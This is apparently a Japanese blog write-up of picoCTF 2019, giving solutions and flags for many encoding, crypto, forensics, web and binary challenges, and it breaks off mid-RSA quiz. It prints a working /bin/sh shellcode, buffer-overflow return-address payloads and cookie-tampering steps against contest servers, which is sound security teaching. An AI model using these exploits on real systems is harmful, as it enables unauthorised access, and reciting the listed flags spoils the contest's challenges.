LoginSignup
21
17

More than 3 years have passed since last update.

picoCTF 2019 write-up

Last updated at Posted at 2019-10-13

2週間のコンテスト。その分、問題数が多い。難易度の幅がすごい。簡単な問題は「バカにしているのか?」というくらい簡単だけど、難しい問題は難しい。

superflipは97問解いて、25,300点。139位。問題を解くと別の問題が出てくる。トップが34,201点だから、まだ出ていない問題がだいぶあるっぽい。

image.png

97問(+コンテストに解いた)分、解法を書くぞ :muscle:

The Factory's Secret - Points: 1 - Solves: 1202 - General Skills

解けなかった。脱出ゲームっぽい感じ。大変そうなのに1点なのでスルー。

2Warm - Points: 50 - Solves: 14923 - General Skills

Submit your answer in our competition's flag format. For example, if you answer was '11111', you would submit 'picoCTF{11111}' as the flag.

42を10進数で書くと?

picoCTF{101010}

Glory of the Garden - Points: 50 - Solves: 9274 - Forensics

This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_1_2e13eb26e18a569a71cc32f9d51ccb4e on the shell server.

What is a hex editor?

たいていの問題は、問題文とヒントがある。時間が足りないのでヒントは最初から見ていた。2段落目がヒント。

JPEGファイルの後ろに、Here is a flag "picoCTF{more_than_m33ts_the_3y3b7FBD20b}"というテキストが付いている。

picoCTF{more_than_m33ts_the_3y3b7FBD20b}

Insp3ct0r - Points: 50 - Solves: 11010 - Web Exploitation

Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/9509/ (link) or http://2019shell1.picoctf.com:9509

How do you inspect web code on a browser?
There's 3 parts

HTML、CSS、JavaScriptの中にそれぞれフラグの断片がある。

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?8a7e3144}

Lets Warm Up - Points: 50 - Solves: 21448 - General Skills

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?

Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag.

picoCTF{p}

The Numbers - Points: 50 - Solves: 9648 - Cryptography

The numbers... what do they mean?

The flag is in the format PICOCTF{}

画像ファイルに、16 9 3 15 3 20 6 { 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14}と書かれている。アルファベットの何番目か。

PICOCTF{THENUMBERSMASON}

Warmed Up - Points: 50 - Solves: 16034 - General Skills

What is 0x3D (base 16) in decimal (base 10).

Submit your answer in our competition's flag format. For example, if you answer was '22', you would submit 'picoCTF{22}' as the flag.

picoCTF{61}

handy-shellcode - Points: 50 - Solves: 2910 - Binary Exploitation

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_6_f0b84e12a8162d64291fd16755d233eb on the shell server. Source.

You might be able to find some good shellcode online.

標準入力で渡したシェルコードをそのまま実行してくれる。

picoCTFのpwnable問題は、ほとんどがブラウザ上のシェルで動かす形式。問題バイナリはsetgidされていて、バイナリの権限でコードが実行できるとフラグが読める。サーバーのIDとパスワードが与えられてSSHクライアントで繋ぐ形式なら昔は良くあった。標準入出力でバイナリをやりとりするのが面倒だな……。

シェルコードはこれを使った。

$ (printf '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'; cat) | ./vuln
$ cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_15d47ccd}

picoCTF{h4ndY_d4ndY_sh311c0d3_15d47ccd}

practice-run-1 - Points: 50 - Solves: 6969 - Binary Exploitation

You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.

How do you execute a program in a command line?

プログラムはどうやって実行すれば良いのでしょう?という問題w

$ ./run_this 
picoCTF{g3t_r3adY_2_r3v3r53}

picoCTF{g3t_r3adY_2_r3v3r53}

unzip - Points: 50 - Solves: 9417 - Forensics

Can you unzip this file and get the flag?

put the flag in the format picoCTF{XXXXX}

10分くらいハマった。問題のZIPを解答すると、unz1pp1ng_1s_3a5yと書かれたPNG画像が出てくる。ZIPにもPNGにも怪しいところが全く無い……で悩んだ。

これがそのままフラグだった。簡単すぎて難しいw

picoCTF{unz1pp1ng_1s_3a5y}

vault-door-training - Points: 50 - Solves: 8289 - Reverse Engineering

Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java

The password is revealed in the program's source code.

Javaのソースコードを読む。Javaが全然分からなくても解けるな。

VaultDoorTraining.java
    // The password is below. Is it safe to put the password in the source code?
    // What if somebody stole our source code? Then they would know what our
    // password is. Hmm... I will think of some ways to improve the security
    // on the other doors.
    //
    // -Minion #9567
    public boolean checkPassword(String password) {
        return password.equals("w4rm1ng_Up_w1tH_jAv4_87f51143e4b");
    }

picoCTF{w4rm1ng_Up_w1tH_jAv4_87f51143e4b}

13 - Points: 100 - Solves: 8851 - Cryptography

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}

This can be solved online if you don't want to do it by hand!

Python 2なら、

>>> "cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}".decode("rot13")
u'picoCTF{not_too_bad_of_a_problem}'

picoCTF{not_too_bad_of_a_problem}

Bases - Points: 100 - Solves: 9114 - General Skills

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.

Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag.

Base64。Python 2なら、

>>> "bDNhcm5fdGgzX3IwcDM1".decode("base64")
'l3arn_th3_r0p35'

picoCTF{l3arn_th3_r0p35}

Easy1 - Points: 100 - Solves: 6454 - Cryptography

The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.

Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{HELLO}' as the flag.
Please use all caps for the message.

tableヴィジュネル暗号のものだった。

solve.py
C = "UFJKXQZQUNB"
K = "SOLVECRYPTO"

C = [ord(c)-ord("A") for c in C]
K = [ord(k)-ord("A") for k in K]
P = [(c-k)%26 for c, k in zip(C, K)]
print "".join(chr(p+ord("A")) for p in P)
$ python solve.py
CRYPTOISFUN

picoCTF{CRYPTOISFUN}

First Grep - Points: 100 - Solves: 9397 - General Skills

Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_4_6b0be85ad029e98c683231bdafec396c on the shell server.

grep tutorial
https://ryanstutorials.net/linuxtutorial/grep.php

grepを使ってほしいのだろうけど、テキストエディタでfileを開いたらフラグが見えた。

picoCTF{grep_is_good_to_find_things_ad4e9645}

OverFlow 0 - Points: 100 - Solves: 4354 - Binary Exploitation

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_2_20c7eb49602df3c04c1f43bf9aff1faa on the shell server. Source.

Find a way to trigger the flag to print
If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.

vuln.c
 :
void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}
 :
void vuln(char *input){
  char buf[128];
  strcpy(buf, input);
}
 :
  signal(SIGSEGV, sigsegv_handler);
 :

セグフォを起こせば良いので、適当に。

$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{3asY_P3a5yd2b59a57}

picoCTF{3asY_P3a5yd2b59a57}

Resources - Points: 100 - Solves: 9911 - General Skills

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)

別にソースコードを見る必要も無く、ページにそのままフラグが書かれている。

picoCTF{r3source_pag3_f1ag}

caesar - Points: 100 - Solves: 7154 - Cryptography

Decrypt this message. You can find the ciphertext in /problems/caesar_6_238b8f4604d91ecb59cda5b4f0e66fc8 on the shell server.

caesar cipher tutorial
https://learncryptography.com/classical-encryption/caesar-cipher

ずらしかたを26通り試せば良い。

>>> c = "rgdhhxcviwtgjqxrdcdydkefyh"
>>> for i in range(26):
...   print "".join(chr((ord(x)-ord("a")+i)%26+ord("a")) for x in c)
...
rgdhhxcviwtgjqxrdcdydkefyh
sheiiydwjxuhkrysedezelfgzi
 :
bqnrrhmfsgdqtahbnmninuopir
crossingtherubiconojovpqjs
dspttjohuifsvcjdpopkpwqrkt
 :

picoCTF{crossingtherubiconojovpqjs}

dont-use-client-side - Points: 100 - Solves: 9128 - Web Exploitation

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/32259/ (link) or http://2019shell1.picoctf.com:32259

Never trust the client

JavaScriptでパスワードをチェックしている。

index.html
 :
<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == 'b956') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_e') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == 'b}') {
                  alert("Password Verified")
                  }
                }
              }

            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }

  }
</script>
 :

picoCTF{no_clients_plz_eb956b}

logon - Points: 100 - Solves: 5893 - Web Exploitation

The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/49907/ (link) or http://2019shell1.picoctf.com:49907

Hmm it doesn't seem to check anyone's password, except for {{name}}'s?

ユーザー名もパスワードも何でもログインできる。ログインすると、admin=Falseというcookieが設定されるので、Trueに書き換え。

picoCTF{th3_c0nsp1r4cy_l1v3s_9e21365b}

strings it - Points: 100 - Solves: 8225 - General Skills

Can you find the flag in file without running it? You can also find the file in /problems/strings-it_2_865eec66d190ef75386fb14e15972126 on the shell server.

strings
https://linux.die.net/man/1/strings

文字列がいっぱい出てくるのでgrepも使う。

$ strings strings | grep picoCTF
picoCTF{5tRIng5_1T_d5b86184}

picoCTF{5tRIng5_1T_d5b86184}

vault-door-1 - Points: 100 - Solves: 6497 - Reverse Engineering

This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java

Look up the charAt() method online.

ValudDoor1.java
 :
    // I came up with a more secure way to check the password without putting
    // the password itself in the source code. I think this is going to be
    // UNHACKABLE!! I hope Dr. Evil agrees...
    //
    // -Minion #8728
    public boolean checkPassword(String password) {
        return password.length() == 32 &&
               password.charAt(0)  == 'd' &&
               password.charAt(29) == '7' &&
               password.charAt(4)  == 'r' &&
 :

picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_03b7a0}

what's a net cat? - Points: 100 - Solves: 8001 - General Skills

Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 4158 to get the flag?

nc tutorial
https://linux.die.net/man/1/nc

$ nc 2019shell1.picoctf.com 4158
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_700da9c7}

picoCTF{nEtCat_Mast3ry_700da9c7}

where are the robots - Points: 100 - Solves: 6805 - Web Exploitation

Can you find the robots? https://2019shell1.picoctf.com/problem/49824/ (link) or http://2019shell1.picoctf.com:49824

What part of the website could tell you where the creator doesn't want you to look?

robots.txt。逆効果だよね。

robots.txt
User-agent: *
Disallow: /0194a.html

このURLにアクセスするとフラグが書かれている。

picoCTF{ca1cu1at1ng_Mach1n3s_0194a}

OverFlow 1 - Points: 150 - Solves: 2443 - Binary Exploitation

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8 on the shell server. Source.

Take control that return address
Make sure your address is in Little Endian.

vuln.c
 :
void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

逆アセンブルすると、flagのアドレスは080485e6だと分かる。考えるのが面倒なので、後ろに何個か並べた。

$ printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\xe6\x85\x04\x08\xe6\x85\x04\x08\xe6\x85\x04\x08' | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn532066483}Segmentation fault (core dumped)

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn532066483}

So Meta - Points: 150 - Solves: 7088 - Forensics

Find the flag in this picture. You can also find the file in /problems/so-meta_6_8d7541b8d04bd65a01336fdb8db6db24.

What does meta mean in the context of files?
Ever hear of metadata?

PNGファイル。tEXtチャンクにフラグが書かれている。

picoCTF{s0_m3ta_505fdd8b}

What Lies Within - Points: 150 - Solves: 5193 - Forensics

Theres something in the building. Can you retrieve the flag?

There is data encoded somewhere, there might be an online decoder

PNGファイル。zstegを使ったら出てきた。

$ zsteg buildings.png
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /home/kusano/.local/bin in PATH, mode 040777
b1,r,lsb,xy         .. text: "^5>R5YZrG"
b1,rgb,lsb,xy       .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"
b1,abgr,msb,xy      .. file: PGP\011Secret Sub-key -
b2,b,lsb,xy         .. text: "XuH}p#8Iy="
b3,abgr,msb,xy      .. text: "t@Wp-_tH_v\r"
b4,r,lsb,xy         .. text: "fdD\"\"\"\" "
b4,r,msb,xy         .. text: "%Q#gpSv0c05"
b4,g,lsb,xy         .. text: "fDfffDD\"\""
b4,g,msb,xy         .. text: "f\"fff\"\"DD"
b4,b,lsb,xy         .. text: "\"$BDDDDf"
b4,b,msb,xy         .. text: "wwBDDDfUU53w"
b4,rgb,msb,xy       .. text: "dUcv%F#A`"
b4,bgr,msb,xy       .. text: " V\"c7Ga4"
b4,abgr,msb,xy      .. text: "gOC_$_@o"

picoCTF{h1d1ng_1n_th3_b1t5}

extensions - Points: 150 - Solves: 6413 - Forensics

This is a really weird text file TXT? Can you find the flag?

How do operating systems know what kind of file it is? (It's not just the ending!
Make sure to submit the flag as picoCTF{XXXXX}

問題ファイルはflag.txtだけど、PNGファイル。fileコマンドを使いましょう。

$ file flag.txt
flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced

picoCTF{now_you_know_about_extensions}

shark on wire 1 - Points: 150 - Solves: 3299 - Forensics

We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_13d709ec13952807e477ba1b5404e620.

Try using a tool like Wireshark
What are streams?

Wiresharkで開いて、適当なUDPパケットで右クリック → 追跡 → UDPストリーム。ウィンドウの右下のストリームの番号を変えていって探す。

picoCTF{StaT31355_636f6e6e}

Based - Points: 200 - Solves: 5838 - General Skills

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 44303.

I hear python can convert things.
It might help to have multiple windows open

ncで繋ぐと基数変換の問題が出てくる。45秒あるし、問題が固定なので何回か挑戦すれば良い。

$ nc 2019shell1.picoctf.com 44303
Let us see how data is stored
oven
Please give the 01101111 01110110 01100101 01101110 as a word.
...
you have 45 seconds.....

Input:
oven
Please give me the  163 154 165 144 147 145 as a word.
Input:
sludge
Please give me the 6f76656e as a word.
Input:
oven
You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_b515dfd2}

picoCTF{learning_about_converting_values_b515dfd2}

Client-side-again - Points: 200 - Solves: 4646 - Web Exploitation

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/32255/ (link) or http://2019shell1.picoctf.com:32255

What is obfuscation?

前の問題と違って難読化されている。Google Chromeならば、開発者ツール → Sources → (index)で、ソースコードの左下の{}をクリックするとインデントが見やすくなる。

picoCTF{not_this_again_b25df2}

First Grep: Part II - Points: 200 - Solves: 6331 - General Skills

Can you find the flag in /problems/first-grep--part-ii_5_956980126dc47c50540b0f8f35a8e443/files on the shell server? Remember to use grep.

grep tutorial
https://ryanstutorials.net/linuxtutorial/grep.php

ファイルがいっぱい。

$ grep -r pico .
./files6/file23:picoCTF{grep_r_to_find_this_0898e9c9}

picoCTF{grep_r_to_find_this_0898e9c9}

Flags - Points: 200 - Solves: 5300 - Cryptography

What do the flags mean?

The flag is in the format PICOCTF{}

国旗っぽいけど正方形の模様が並んだ画像。国際信号旗

PICOCTF{F1AG5AND5TUFF}

Mr-Worldwide - Points: 200 - Solves: 2894 - Cryptography

解けなかった。緯度経度が並んでいる。座標に意味がある感じではないので、各地点の都市名とか国名とかで何かするのだと思うけど、分からん。

NewOverFlow-1 - Points: 200 - Solves: 663 - Binary Exploitation

Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a on the shell server. Source.

Now that we're in 64-bit, what used to be 4 bytes, now may be 8 bytes

64ビットでもやることは変わらん……と思ったら、flag関数に飛んだ時点でスタックが16バイト境界に揃っていないと、printfの中で落ちる。一旦空のretを挟むか、400767ではなく40768に飛ばす。

vuln.txt
 :
0000000000400767 <flag>:
  400767:   55                      push   rbp
  400768:   48 89 e5                mov    rbp,rsp
  40076b:   48 83 ec 50             sub    rsp,0x50
 :
$ python -c 'print "a"*72+"6807400000000000".decode("hex")' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_d0b837aa}
Segmentation fault (core dumped)

picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_d0b837aa}

Open-to-admins - Points: 200 - Solves: 3067 - Web Exploitation

This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/47265/ (link) or http://2019shell1.picoctf.com:47265

Can cookies help you to get the flag?

良く分からないけど、admin=true; time=1400をcookieに設定したらフラグが表示された。

picoCTF{0p3n_t0_adm1n5_00cd0fe1}

Tapping - Points: 200 - Solves: 5004 - Cryptography

Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 45168.

What kind of encoding uses dashes and dots?
The flag is in the format PICOCTF{}

$ nc 2019shell1.picoctf.com 45168
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ...-- ....- ---.. ---.. ---.. --... .---- ----- ..... }

モールス信号。ncを使う意味はあるのか……?

PICOCTF{M0RS3C0D31SFUN348887105}

asm1 - Points: 200 - Solves: 1758 - Reverse Engineering

What does asm1(0x53e) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_4_431c7088e03c0028398793773ccf89d7.

assembly conditions

アセンブリコードを見て、その関数に引数を渡したときの挙動を答える。jgとかjneとかが分かりますか?という問題。

なぜアセンブラ問題だけ、picoCTF{}ではないのだろう。

0x533

la cifra de - Points: 200 - Solves: 3571 - Cryptography

I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 37608.

There are tools that make this easy.
Perhaps looking at history will help

ncで繋ぐと、こんな文章が返ってくる。

$ nc 2019shell1.picoctf.com 37608
Encrypted message:
Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretewp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnexj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo
 :

文章中の単語でググると、去年の問題の解答が出てくる。

この行がフラグっぽい。

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}

このサイトにこの行を貼り付け、「KNOWING A PLAINTEXT WORD:」にPICOCTFを入れると、解ける。

For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3re62e044a}

文章全体だとダメなのは、改行の扱いが何か違うのだろうか。導出された鍵はGFLAだけど、元はたぶんFLAGだろうし。

picoCTF{b311a50_0r_v1gn3r3_c1ph3re62e044a}

picobrowser - Points: 200 - Solves: 4674 - Web Exploitation

This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/32205/ (link) or http://2019shell1.picoctf.com:32205

You dont need to download a new web browser

$ curl -A 'picobrowser' https://2019shell1.picoctf.com/problem/32205/flag
<!DOCTYPE html>
<html lang="en">
 :
        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{p1c0_s3cr3t_ag3nt_ee951878}</code></p>
            <!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
            <!-- </p> -->
        </div>
 :

picoCTF{p1c0_s3cr3t_ag3nt_ee951878}

plumbing - Points: 200 - Solves: 5943 - General Skills

Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 13203.

Remember the flag format is picoCTF{XXXX}
What's a pipe? No not that kind of pipe... This kind
http://www.linfo.org/pipes.html

$ nc 2019shell1.picoctf.com 13203 | grep picoCTF
picoCTF{digital_plumb3r_995d3c81}

picoCTF{digital_plumb3r_995d3c81}

rsa-pop-quiz - Points: 200 - Solves: 1901 - Cryptography

Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 41419

RSA info
https://simple.wikipedia.org/wiki/RSA_algorithm

ncで繋ぐと、RSAに関する問題が出てきて、解けるかどうかと、解けるなら答えを入力しろと言われる。問題は固定なので、サーバーに繋ぐようなプログラムを書く必要は無い。

$ nc 2019shell1.picoctf.com 41419
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):

解ける。n=qp 。

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
n: 4636878989
Outstanding move!!!
#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):

解ける。q=n/p。

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
q: 93089
Outstanding move!!!
#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):

これはRSA暗号を破れるか?と同義なので、無理。

IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!
#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):

解ける。φ関数

n=pqかつpとqが互いに素ならば、φ(n)=φ(pq)=φ(p)φ(q)。xが素数ならば、φ(x)=x-1なので、φ(n)=(p-1)(q-1)。

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
totient(n): 836623060
Outstanding move!!!
#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

暗号化をしろという話で、できる。ciphertext=plaintext^e mod n。

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
ciphertext: 256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
Outstanding move!!!
#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

RSA暗号を破れますか? 無理。

IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!
#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):

RSA暗号におけるdは、nを法、Pを平文、Cを暗号文として、C=P^eのときに、P=C^dが成り立つような値。つまり、X^(de)=X mod n。オイラーの定理から、X^φ(n)=1なので、kを正整数として、de=kφ(n)となれば良く、dはmod φ(n)=(p-1)(q-1)でのeの逆数。拡張ユークリッドの互除法で求められる。

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
Outstanding move!!!
#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 14177987223508642131782797570705581865562801943020304324633179842233648468773284681099013143283137490421880620316003804700542539367277056119924780390073376368416200076614798528210303393148038397972770835314176889384910743248227379602503304665968858682295687434435804347875820140516870497567301408412715581672979699897049453701769585723745678466885154478156861404094657217832388752774912467316297776811251467400544288767645372505477570969704731692064200678746651536132006463037418757874224499384628808197361618023507921293784071910631939869468132820891513863046467487362047958571217107053268878096051632274561080703969
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
